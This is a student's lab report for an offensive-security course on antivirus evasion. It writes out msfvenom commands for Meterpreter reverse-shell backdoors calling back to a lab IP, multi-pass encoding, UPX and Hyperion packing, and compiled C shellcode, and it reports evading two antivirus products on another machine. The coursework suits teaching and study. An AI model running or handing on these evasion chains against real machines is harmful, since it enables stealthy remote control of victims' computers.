• 20165309 《网络对抗技术》实验三:免杀原理与实践


    20165309 《网络对抗技术》实验三:免杀原理与实践



    1.基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 基于特征:恶意代码中一般会有一段特征码,如果杀软检测到有程序包含的特征码与它的特征码库的代码相匹配,就会把该程序当作恶意软件。
    • 基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀软会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

    (2)免杀是做什么?

    • 通过一些特殊的手段,让安插的后门不被杀软检测到。

    (3)免杀的基本方法有哪些?

    • 加壳、用encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译(veil-evasion)、尽量使用反弹式连接、使用隧道技术、加密通讯数据、加入混淆作用的正常功能代码......

    (4)开启杀软能绝对防止电脑中恶意代码吗?

    • 做完本次实验就知道了这个问题的答案是不能。

    返回目录


    2.实验总结与体会

    (1)遇到的问题与解决

    • 问题:安装veil-evasion后开机报错:
    • 解决方案:打开虚拟机设置->处理器->检查下虚拟化引擎下面是否有被勾选->取消所有勾选->确定,再打开虚拟机就没事了~

    (2)实验感受

    本次实验中,对我来说最困难的两件事就是veil的安装和任务二的实现免杀T-T,其他内容按照实验指导都很容易理解和实现。实验告诉了我,杀软并不可信,有些后门程序可以躲过它们的检测并对我们产生威胁,所以安全意识至关重要。(PS.通过实验真心觉得查杀方和攻击方都挺不容易的。。)

    返回目录


    3.实践过程记录

    (0)准备工作

    • Kali的IP:10.0.0.127

    • 安装Veil-Evasion,亲测克隆安装的成功率会大一些:

      sudo apt-get -y install git  //安装git
      
      git clone https://github.com/Veil-Framework/Veil-Evasion.git    //git命令行下载Veil Evasion
      
      mv Veil-Evasion /opt   //把它移动到opt目录下(可选)
      
      cd /opt/Veil-Evasion/  //进入Veil Evasion所在目录
      
      bash setup/setup.sh -s  //启动setup脚本开始安装
      

    (1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

    ① 正确使用msf编码器
    • 使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 -f exe > 5309_backdoor.exe生成后门程序。(同实验二)
    • 上传至http://www.virscan.org/来检测下有多少杀软可以将其查杀出来。
    • 上传至https://www.virustotal.com/也检测一下。
    • 可以看到,这种方式形成的后门免杀效果很差,所以,我们来尝试一下多次编码:
      • 输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=10.0.0.127 LPORT=5309 -f exe > 5309time10.exe
      • 该指令中,-e选择要用的编码器,-i用于设置编码次数,-b设定payload中需要去除的字符。
    • 再检测一下:
    • 可见,多次编码并没有起到什么显著的效果,不能实现免杀。
    ② msfvenom生成如jar之类的其他文件
    • msfvenom生成jar文件

      • 指令:msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 x> wsj_jar.jar
      • 检测:

    • msfvenom生成python文件

      • 指令:msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 -f raw > wsj_py.py

      • 检测:

    • msfvenom生成php文件

      • 指令:msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 x> wsj_php.php
      • 检测:
    ③ veil-evasion
    • veil->use evasion进入Evil-Evasion配置界面:

    • 设置反弹连接IP和端口:
    • 输入generate生成文件,设置输出的payload名字:
    • 它的路径是这个:
    • 进行检测:

    ④ 加壳工具
    • 压缩壳UPX

      • 指令:upx wsjpayload.exe -o wsjpayload.upxed.exe
      • 检测:

    • 加密壳Hyperion

      • 将生成的upx文件拷贝到目录/usr/share/windows-binaries/hyperion/,并进入。
      • 输入指令进行加壳:wine hyperion.exe -v wsj_upxed.exe wsj_upxed_Hyperion.exe
      • 检测:

    • 加壳的免杀效果其实也很不理想,反而可能会因为壳的特征被更多杀软检测到。

    ⑤ 使用shellcode编程
    • 使用msf生成一段c语言格式的shellcode数组:msfvenom -p windows/meterpreter/reverse_http LHOST=10.0.0.127 LPORT=5309 -f c
    • 代码:
    • 交叉编译:i686-w64-mingw32-g++ 5309.c -o 5309.exe
    • 回连成功:
    • 测试:


    (2)通过组合应用各种技术实现恶意代码免杀

    • 采用加壳+迭代+C语言调用bloxor编码的shellcode的方式免杀成功并可回连:
      • 生成Shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=10.0.0.127 LPORT=5309 -f c
      • 迭代,加压缩壳;
      • 将加入Shellcode的c语言程序在vc下编译;
      • 实现回连:
      • 免杀效果:(Win7 x64+腾讯电脑管家13.3.20237.212)

    (3) 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • Win7 x64 + 360安全卫士11.5.0.2002
    • 回连成功:
    • 在舍友电脑上实现免杀:

    返回目录

  • 相关阅读:
    zabbix实现原理及架构详解
    用Python玩转微信(一)
    你真的用好了Python的random模块吗?
    Authentication of Django
    Django admin 权威指南(一)
    常用查找数据结构及算法(Python实现)
    基于python的七种经典排序算法
    Django 1.10 中文文档------3.2.2 查询操作making queries
    “全能”选手—Django 1.10文档中文版Part4
    Django 1.10 中文文档------3.2.1 模型Models
  • 原文地址:https://www.cnblogs.com/wsj-wsj-wsj/p/10633584.html
Copyright © 2020-2023  润新知